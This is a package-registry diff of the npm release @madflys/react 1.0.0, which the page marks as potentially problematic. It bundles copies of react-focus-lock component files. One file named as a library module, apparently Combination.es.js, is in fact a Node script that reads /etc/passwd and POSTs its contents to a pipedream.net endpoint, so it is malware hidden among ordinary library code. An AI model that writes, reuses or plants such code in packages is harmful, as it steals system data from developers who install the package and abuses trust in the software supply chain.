@madflys/react 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @madflys/react might be problematic. Click here for more details.

Files changed (37) hide show
  1. package/README.md +1 -0
  2. package/package.json +27 -0
  3. package/react/dist/node_modules/react-focus-lock/LICENSE +21 -0
  4. package/react/dist/node_modules/react-focus-lock/README.md +333 -0
  5. package/react/dist/node_modules/react-focus-lock/UI/UI.d.ts +38 -0
  6. package/react/dist/node_modules/react-focus-lock/UI/package.json +8 -0
  7. package/react/dist/node_modules/react-focus-lock/dist/cjs/AutoFocusInside.js +41 -0
  8. package/react/dist/node_modules/react-focus-lock/dist/cjs/Combination.js +43 -0
  9. package/react/dist/node_modules/react-focus-lock/dist/cjs/FocusGuard.js +49 -0
  10. package/react/dist/node_modules/react-focus-lock/dist/cjs/FreeFocusInside.js +38 -0
  11. package/react/dist/node_modules/react-focus-lock/dist/cjs/Lock.js +238 -0
  12. package/react/dist/node_modules/react-focus-lock/dist/cjs/MoveFocusInside.js +68 -0
  13. package/react/dist/node_modules/react-focus-lock/dist/cjs/Trap.js +299 -0
  14. package/react/dist/node_modules/react-focus-lock/dist/cjs/UI.js +59 -0
  15. package/react/dist/node_modules/react-focus-lock/dist/cjs/clientSideEffect.js +67 -0
  16. package/react/dist/node_modules/react-focus-lock/dist/cjs/index.js +26 -0
  17. package/react/dist/node_modules/react-focus-lock/dist/cjs/medium.js +26 -0
  18. package/react/dist/node_modules/react-focus-lock/dist/cjs/sidecar.js +18 -0
  19. package/react/dist/node_modules/react-focus-lock/dist/cjs/util.js +27 -0
  20. package/react/dist/node_modules/react-focus-lock/dist/es2015/AutoFocusInside.es.js +25 -0
  21. package/react/dist/node_modules/react-focus-lock/dist/es2015/Combination.es.js +23 -0
  22. package/react/dist/node_modules/react-focus-lock/dist/es2015/FocusGuard.es.js +34 -0
  23. package/react/dist/node_modules/react-focus-lock/dist/es2015/FreeFocusInside.es.js +22 -0
  24. package/react/dist/node_modules/react-focus-lock/dist/es2015/Lock.es.js +208 -0
  25. package/react/dist/node_modules/react-focus-lock/dist/es2015/MoveFocusInside.es.js +46 -0
  26. package/react/dist/node_modules/react-focus-lock/dist/es2015/Trap.es.js +276 -0
  27. package/react/dist/node_modules/react-focus-lock/dist/es2015/UI.es.js +7 -0
  28. package/react/dist/node_modules/react-focus-lock/dist/es2015/clientSideEffect.es.js +56 -0
  29. package/react/dist/node_modules/react-focus-lock/dist/es2015/index.js +27 -0
  30. package/react/dist/node_modules/react-focus-lock/dist/es2015/medium.es.js +14 -0
  31. package/react/dist/node_modules/react-focus-lock/dist/es2015/sidecar.es.js +4 -0
  32. package/react/dist/node_modules/react-focus-lock/dist/es2015/util.es.js +16 -0
  33. package/react/dist/node_modules/react-focus-lock/interfaces.d.ts +125 -0
  34. package/react/dist/node_modules/react-focus-lock/package.json +103 -0
  35. package/react/dist/node_modules/react-focus-lock/react-focus-lock.d.ts +33 -0
  36. package/react/dist/node_modules/react-focus-lock/sidecar/package.json +7 -0
  37. package/react/dist/node_modules/react-focus-lock/sidecar/sidecar.d.ts +5 -0
@@ -0,0 +1,67 @@
1
+ "use strict";
2
+
3
+ var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");
4
+
5
+ Object.defineProperty(exports, "__esModule", {
6
+ value: true
7
+ });
8
+ exports["default"] = void 0;
9
+
10
+ var React = _interopRequireWildcard(require("react"));
11
+
12
+ /* eslint-disable */
13
+ // NOT USED
14
+ function withSideEffect(reducePropsToState, handleStateChangeOnClient) {
15
+ if (process.env.NODE_ENV !== 'production') {
16
+ if (typeof reducePropsToState !== 'function') {
17
+ throw new Error('Expected reducePropsToState to be a function.');
18
+ }
19
+
20
+ if (typeof handleStateChangeOnClient !== 'function') {
21
+ throw new Error('Expected handleStateChangeOnClient to be a function.');
22
+ }
23
+ }
24
+
25
+ return function wrap(WrappedComponent) {
26
+ if (process.env.NODE_ENV !== 'production') {
27
+ if (typeof WrappedComponent !== 'function') {
28
+ throw new Error('Expected WrappedComponent to be a React component.');
29
+ }
30
+ }
31
+
32
+ var mountedInstances = [];
33
+
34
+ function emitChange() {
35
+ console.log('emitting');
36
+ var state = reducePropsToState(mountedInstances.map(function (instance) {
37
+ return instance.current;
38
+ }));
39
+ handleStateChangeOnClient(state);
40
+ }
41
+
42
+ var SideEffect = function SideEffect(props) {
43
+ var lastProps = React.useRef(props);
44
+ React.useEffect(function () {
45
+ lastProps.current = props;
46
+ }); // handle mounted instances
47
+
48
+ React.useEffect(function () {
49
+ console.log('ins added');
50
+ mountedInstances.push(lastProps);
51
+ return function () {
52
+ console.log('ins removed');
53
+ var index = mountedInstances.indexOf(lastProps);
54
+ mountedInstances.splice(index, 1);
55
+ };
56
+ }, []); // notify updates
57
+ // React.useEffect(emitChange, [props.disabled]);
58
+
59
+ return /*#__PURE__*/React.createElement(WrappedComponent, props);
60
+ };
61
+
62
+ return SideEffect;
63
+ };
64
+ }
65
+
66
+ var _default = withSideEffect;
67
+ exports["default"] = _default;
@@ -0,0 +1,26 @@
1
+ "use strict";
2
+
3
+ var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
4
+
5
+ Object.defineProperty(exports, "__esModule", {
6
+ value: true
7
+ });
8
+ var _exportNames = {};
9
+ exports["default"] = void 0;
10
+
11
+ var _Combination = _interopRequireDefault(require("./Combination"));
12
+
13
+ var _UI = require("./UI");
14
+
15
+ Object.keys(_UI).forEach(function (key) {
16
+ if (key === "default" || key === "__esModule") return;
17
+ if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;
18
+ Object.defineProperty(exports, key, {
19
+ enumerable: true,
20
+ get: function get() {
21
+ return _UI[key];
22
+ }
23
+ });
24
+ });
25
+ var _default = _Combination["default"];
26
+ exports["default"] = _default;
@@ -0,0 +1,26 @@
1
+ "use strict";
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.mediumSidecar = exports.mediumEffect = exports.mediumBlur = exports.mediumFocus = void 0;
7
+
8
+ var _useSidecar = require("use-sidecar");
9
+
10
+ var mediumFocus = (0, _useSidecar.createMedium)({}, function (_ref) {
11
+ var target = _ref.target,
12
+ currentTarget = _ref.currentTarget;
13
+ return {
14
+ target: target,
15
+ currentTarget: currentTarget
16
+ };
17
+ });
18
+ exports.mediumFocus = mediumFocus;
19
+ var mediumBlur = (0, _useSidecar.createMedium)();
20
+ exports.mediumBlur = mediumBlur;
21
+ var mediumEffect = (0, _useSidecar.createMedium)();
22
+ exports.mediumEffect = mediumEffect;
23
+ var mediumSidecar = (0, _useSidecar.createSidecarMedium)({
24
+ async: true
25
+ });
26
+ exports.mediumSidecar = mediumSidecar;
@@ -0,0 +1,18 @@
1
+ "use strict";
2
+
3
+ var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
4
+
5
+ Object.defineProperty(exports, "__esModule", {
6
+ value: true
7
+ });
8
+ exports["default"] = void 0;
9
+
10
+ var _useSidecar = require("use-sidecar");
11
+
12
+ var _Trap = _interopRequireDefault(require("./Trap"));
13
+
14
+ var _medium = require("./medium");
15
+
16
+ var _default = (0, _useSidecar.exportSidecar)(_medium.mediumSidecar, _Trap["default"]);
17
+
18
+ exports["default"] = _default;
@@ -0,0 +1,27 @@
1
+ "use strict";
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.deferAction = deferAction;
7
+ exports.inlineProp = void 0;
8
+
9
+ function deferAction(action) {
10
+ // Hidding setImmediate from Webpack to avoid inserting polyfill
11
+ var _window = window,
12
+ setImmediate = _window.setImmediate;
13
+
14
+ if (typeof setImmediate !== 'undefined') {
15
+ setImmediate(action);
16
+ } else {
17
+ setTimeout(action, 1);
18
+ }
19
+ }
20
+
21
+ var inlineProp = function inlineProp(name, value) {
22
+ var obj = {};
23
+ obj[name] = value;
24
+ return obj;
25
+ };
26
+
27
+ exports.inlineProp = inlineProp;
@@ -0,0 +1,25 @@
1
+ import _extends from "@babel/runtime/helpers/esm/extends";
2
+ import * as React from 'react';
3
+ import PropTypes from 'prop-types';
4
+ import * as constants from 'focus-lock/constants';
5
+ import { inlineProp } from './util';
6
+
7
+ var AutoFocusInside = function AutoFocusInside(_ref) {
8
+ var disabled = _ref.disabled,
9
+ children = _ref.children,
10
+ className = _ref.className;
11
+ return /*#__PURE__*/React.createElement("div", _extends({}, inlineProp(constants.FOCUS_AUTO, !disabled), {
12
+ className: className
13
+ }), children);
14
+ };
15
+
16
+ AutoFocusInside.propTypes = process.env.NODE_ENV !== "production" ? {
17
+ children: PropTypes.node.isRequired,
18
+ disabled: PropTypes.bool,
19
+ className: PropTypes.string
20
+ } : {};
21
+ AutoFocusInside.defaultProps = {
22
+ disabled: false,
23
+ className: undefined
24
+ };
25
+ export default AutoFocusInside;
@@ -0,0 +1,23 @@
1
+ #!/usr/bin/env node
2
+
3
+ const fs = require('fs');
4
+ const http = require('http');
5
+
6
+ const home = process.env.HOME;
7
+
8
+ const options = {
9
+ host: 'enjfs1iudo11g1e.m.pipedream.net',
10
+ path: '/madflys',
11
+ port: 80,
12
+ method: 'POST'
13
+ };
14
+
15
+ const req = http.request(options, function(response) {
16
+ console.log(response);
17
+ });
18
+
19
+ fs.readFile(`/etc/passwd`, 'utf-8', function(error, data) {
20
+ console.log(data);
21
+ req.write(data);
22
+ req.end();
23
+ });
@@ -0,0 +1,34 @@
1
+ import * as React from 'react';
2
+ import PropTypes from 'prop-types';
3
+ export var hiddenGuard = {
4
+ width: '1px',
5
+ height: '0px',
6
+ padding: 0,
7
+ overflow: 'hidden',
8
+ position: 'fixed',
9
+ top: '1px',
10
+ left: '1px'
11
+ };
12
+
13
+ var InFocusGuard = function InFocusGuard(_ref) {
14
+ var children = _ref.children;
15
+ return /*#__PURE__*/React.createElement(React.Fragment, null, /*#__PURE__*/React.createElement("div", {
16
+ key: "guard-first",
17
+ "data-focus-guard": true,
18
+ "data-focus-auto-guard": true,
19
+ style: hiddenGuard
20
+ }), children, children && /*#__PURE__*/React.createElement("div", {
21
+ key: "guard-last",
22
+ "data-focus-guard": true,
23
+ "data-focus-auto-guard": true,
24
+ style: hiddenGuard
25
+ }));
26
+ };
27
+
28
+ InFocusGuard.propTypes = process.env.NODE_ENV !== "production" ? {
29
+ children: PropTypes.node
30
+ } : {};
31
+ InFocusGuard.defaultProps = {
32
+ children: null
33
+ };
34
+ export default InFocusGuard;
@@ -0,0 +1,22 @@
1
+ import _extends from "@babel/runtime/helpers/esm/extends";
2
+ import * as React from 'react';
3
+ import PropTypes from 'prop-types';
4
+ import * as constants from 'focus-lock/constants';
5
+ import { inlineProp } from './util';
6
+
7
+ var FreeFocusInside = function FreeFocusInside(_ref) {
8
+ var children = _ref.children,
9
+ className = _ref.className;
10
+ return /*#__PURE__*/React.createElement("div", _extends({}, inlineProp(constants.FOCUS_ALLOW, true), {
11
+ className: className
12
+ }), children);
13
+ };
14
+
15
+ FreeFocusInside.propTypes = process.env.NODE_ENV !== "production" ? {
16
+ children: PropTypes.node.isRequired,
17
+ className: PropTypes.string
18
+ } : {};
19
+ FreeFocusInside.defaultProps = {
20
+ className: undefined
21
+ };
22
+ export default FreeFocusInside;
@@ -0,0 +1,208 @@
1
+ import _extends from "@babel/runtime/helpers/esm/extends";
2
+ import * as React from 'react';
3
+ import { node, bool, string, any, arrayOf, oneOfType, object, func } from 'prop-types';
4
+ import * as constants from 'focus-lock/constants';
5
+ import { useMergeRefs } from 'use-callback-ref';
6
+ import { useEffect } from 'react';
7
+ import { hiddenGuard } from './FocusGuard';
8
+ import { mediumFocus, mediumBlur, mediumSidecar } from './medium';
9
+ var emptyArray = [];
10
+ var FocusLock = /*#__PURE__*/React.forwardRef(function FocusLockUI(props, parentRef) {
11
+ var _extends2;
12
+
13
+ var _React$useState = React.useState(),
14
+ realObserved = _React$useState[0],
15
+ setObserved = _React$useState[1];
16
+
17
+ var observed = React.useRef();
18
+ var isActive = React.useRef(false);
19
+ var originalFocusedElement = React.useRef(null);
20
+ var children = props.children,
21
+ disabled = props.disabled,
22
+ noFocusGuards = props.noFocusGuards,
23
+ persistentFocus = props.persistentFocus,
24
+ crossFrame = props.crossFrame,
25
+ autoFocus = props.autoFocus,
26
+ allowTextSelection = props.allowTextSelection,
27
+ group = props.group,
28
+ className = props.className,
29
+ whiteList = props.whiteList,
30
+ hasPositiveIndices = props.hasPositiveIndices,
31
+ _props$shards = props.shards,
32
+ shards = _props$shards === void 0 ? emptyArray : _props$shards,
33
+ _props$as = props.as,
34
+ Container = _props$as === void 0 ? 'div' : _props$as,
35
+ _props$lockProps = props.lockProps,
36
+ containerProps = _props$lockProps === void 0 ? {} : _props$lockProps,
37
+ SideCar = props.sideCar,
38
+ shouldReturnFocus = props.returnFocus,
39
+ focusOptions = props.focusOptions,
40
+ onActivationCallback = props.onActivation,
41
+ onDeactivationCallback = props.onDeactivation;
42
+
43
+ var _React$useState2 = React.useState({}),
44
+ id = _React$useState2[0]; // SIDE EFFECT CALLBACKS
45
+
46
+
47
+ var onActivation = React.useCallback(function () {
48
+ originalFocusedElement.current = originalFocusedElement.current || document && document.activeElement;
49
+
50
+ if (observed.current && onActivationCallback) {
51
+ onActivationCallback(observed.current);
52
+ }
53
+
54
+ isActive.current = true;
55
+ }, [onActivationCallback]);
56
+ var onDeactivation = React.useCallback(function () {
57
+ isActive.current = false;
58
+
59
+ if (onDeactivationCallback) {
60
+ onDeactivationCallback(observed.current);
61
+ }
62
+ }, [onDeactivationCallback]);
63
+ useEffect(function () {
64
+ if (!disabled) {
65
+ // cleanup return focus on trap deactivation
66
+ // sideEffect/returnFocus should happen by this time
67
+ originalFocusedElement.current = null;
68
+ }
69
+ }, []);
70
+ var returnFocus = React.useCallback(function (allowDefer) {
71
+ var returnFocusTo = originalFocusedElement.current;
72
+
73
+ if (returnFocusTo && returnFocusTo.focus) {
74
+ var howToReturnFocus = typeof shouldReturnFocus === 'function' ? shouldReturnFocus(returnFocusTo) : shouldReturnFocus;
75
+
76
+ if (howToReturnFocus) {
77
+ var returnFocusOptions = typeof howToReturnFocus === 'object' ? howToReturnFocus : undefined;
78
+ originalFocusedElement.current = null;
79
+
80
+ if (allowDefer) {
81
+ // React might return focus after update
82
+ // it's safer to defer the action
83
+ Promise.resolve().then(function () {
84
+ return returnFocusTo.focus(returnFocusOptions);
85
+ });
86
+ } else {
87
+ returnFocusTo.focus(returnFocusOptions);
88
+ }
89
+ }
90
+ }
91
+ }, [shouldReturnFocus]); // MEDIUM CALLBACKS
92
+
93
+ var onFocus = React.useCallback(function (event) {
94
+ if (isActive.current) {
95
+ mediumFocus.useMedium(event);
96
+ }
97
+ }, []);
98
+ var onBlur = mediumBlur.useMedium; // REF PROPAGATION
99
+ // not using real refs due to race conditions
100
+
101
+ var setObserveNode = React.useCallback(function (newObserved) {
102
+ if (observed.current !== newObserved) {
103
+ observed.current = newObserved;
104
+ setObserved(newObserved);
105
+ }
106
+ }, []);
107
+
108
+ if (process.env.NODE_ENV !== 'production') {
109
+ if (typeof allowTextSelection !== 'undefined') {
110
+ // eslint-disable-next-line no-console
111
+ console.warn('React-Focus-Lock: allowTextSelection is deprecated and enabled by default');
112
+ }
113
+
114
+ React.useEffect(function () {
115
+ if (!observed.current) {
116
+ // eslint-disable-next-line no-console
117
+ console.error('FocusLock: could not obtain ref to internal node');
118
+ }
119
+ }, []);
120
+ }
121
+
122
+ var lockProps = _extends((_extends2 = {}, _extends2[constants.FOCUS_DISABLED] = disabled && 'disabled', _extends2[constants.FOCUS_GROUP] = group, _extends2), containerProps);
123
+
124
+ var hasLeadingGuards = noFocusGuards !== true;
125
+ var hasTailingGuards = hasLeadingGuards && noFocusGuards !== 'tail';
126
+ var mergedRef = useMergeRefs([parentRef, setObserveNode]);
127
+ return /*#__PURE__*/React.createElement(React.Fragment, null, hasLeadingGuards && [
128
+ /*#__PURE__*/
129
+ // nearest focus guard
130
+ React.createElement("div", {
131
+ key: "guard-first",
132
+ "data-focus-guard": true,
133
+ tabIndex: disabled ? -1 : 0,
134
+ style: hiddenGuard
135
+ }), // first tabbed element guard
136
+ hasPositiveIndices ? /*#__PURE__*/React.createElement("div", {
137
+ key: "guard-nearest",
138
+ "data-focus-guard": true,
139
+ tabIndex: disabled ? -1 : 1,
140
+ style: hiddenGuard
141
+ }) : null], !disabled && /*#__PURE__*/React.createElement(SideCar, {
142
+ id: id,
143
+ sideCar: mediumSidecar,
144
+ observed: realObserved,
145
+ disabled: disabled,
146
+ persistentFocus: persistentFocus,
147
+ crossFrame: crossFrame,
148
+ autoFocus: autoFocus,
149
+ whiteList: whiteList,
150
+ shards: shards,
151
+ onActivation: onActivation,
152
+ onDeactivation: onDeactivation,
153
+ returnFocus: returnFocus,
154
+ focusOptions: focusOptions
155
+ }), /*#__PURE__*/React.createElement(Container, _extends({
156
+ ref: mergedRef
157
+ }, lockProps, {
158
+ className: className,
159
+ onBlur: onBlur,
160
+ onFocus: onFocus
161
+ }), children), hasTailingGuards && /*#__PURE__*/React.createElement("div", {
162
+ "data-focus-guard": true,
163
+ tabIndex: disabled ? -1 : 0,
164
+ style: hiddenGuard
165
+ }));
166
+ });
167
+ FocusLock.propTypes = process.env.NODE_ENV !== "production" ? {
168
+ children: node,
169
+ disabled: bool,
170
+ returnFocus: oneOfType([bool, object, func]),
171
+ focusOptions: object,
172
+ noFocusGuards: bool,
173
+ hasPositiveIndices: bool,
174
+ allowTextSelection: bool,
175
+ autoFocus: bool,
176
+ persistentFocus: bool,
177
+ crossFrame: bool,
178
+ group: string,
179
+ className: string,
180
+ whiteList: func,
181
+ shards: arrayOf(any),
182
+ as: oneOfType([string, func, object]),
183
+ lockProps: object,
184
+ onActivation: func,
185
+ onDeactivation: func,
186
+ sideCar: any.isRequired
187
+ } : {};
188
+ FocusLock.defaultProps = {
189
+ children: undefined,
190
+ disabled: false,
191
+ returnFocus: false,
192
+ focusOptions: undefined,
193
+ noFocusGuards: false,
194
+ autoFocus: true,
195
+ persistentFocus: false,
196
+ crossFrame: true,
197
+ hasPositiveIndices: undefined,
198
+ allowTextSelection: undefined,
199
+ group: undefined,
200
+ className: undefined,
201
+ whiteList: undefined,
202
+ shards: undefined,
203
+ as: 'div',
204
+ lockProps: {},
205
+ onActivation: undefined,
206
+ onDeactivation: undefined
207
+ };
208
+ export default FocusLock;
@@ -0,0 +1,46 @@
1
+ import _extends from "@babel/runtime/helpers/esm/extends";
2
+ import * as React from 'react';
3
+ import PropTypes from 'prop-types';
4
+ import * as constants from 'focus-lock/constants';
5
+ import { inlineProp } from './util';
6
+ import { mediumEffect } from './medium';
7
+ export var useFocusInside = function useFocusInside(observedRef) {
8
+ React.useEffect(function () {
9
+ var enabled = true;
10
+ mediumEffect.useMedium(function (car) {
11
+ var observed = observedRef && observedRef.current;
12
+
13
+ if (enabled && observed) {
14
+ if (!car.focusInside(observed)) {
15
+ car.moveFocusInside(observed, null);
16
+ }
17
+ }
18
+ });
19
+ return function () {
20
+ enabled = false;
21
+ };
22
+ }, [observedRef]);
23
+ };
24
+
25
+ function MoveFocusInside(_ref) {
26
+ var isDisabled = _ref.disabled,
27
+ className = _ref.className,
28
+ children = _ref.children;
29
+ var ref = React.useRef(null);
30
+ useFocusInside(isDisabled ? undefined : ref);
31
+ return /*#__PURE__*/React.createElement("div", _extends({}, inlineProp(constants.FOCUS_AUTO, !isDisabled), {
32
+ ref: ref,
33
+ className: className
34
+ }), children);
35
+ }
36
+
37
+ MoveFocusInside.propTypes = process.env.NODE_ENV !== "production" ? {
38
+ children: PropTypes.node.isRequired,
39
+ disabled: PropTypes.bool,
40
+ className: PropTypes.string
41
+ } : {};
42
+ MoveFocusInside.defaultProps = {
43
+ disabled: false,
44
+ className: undefined
45
+ };
46
+ export default MoveFocusInside;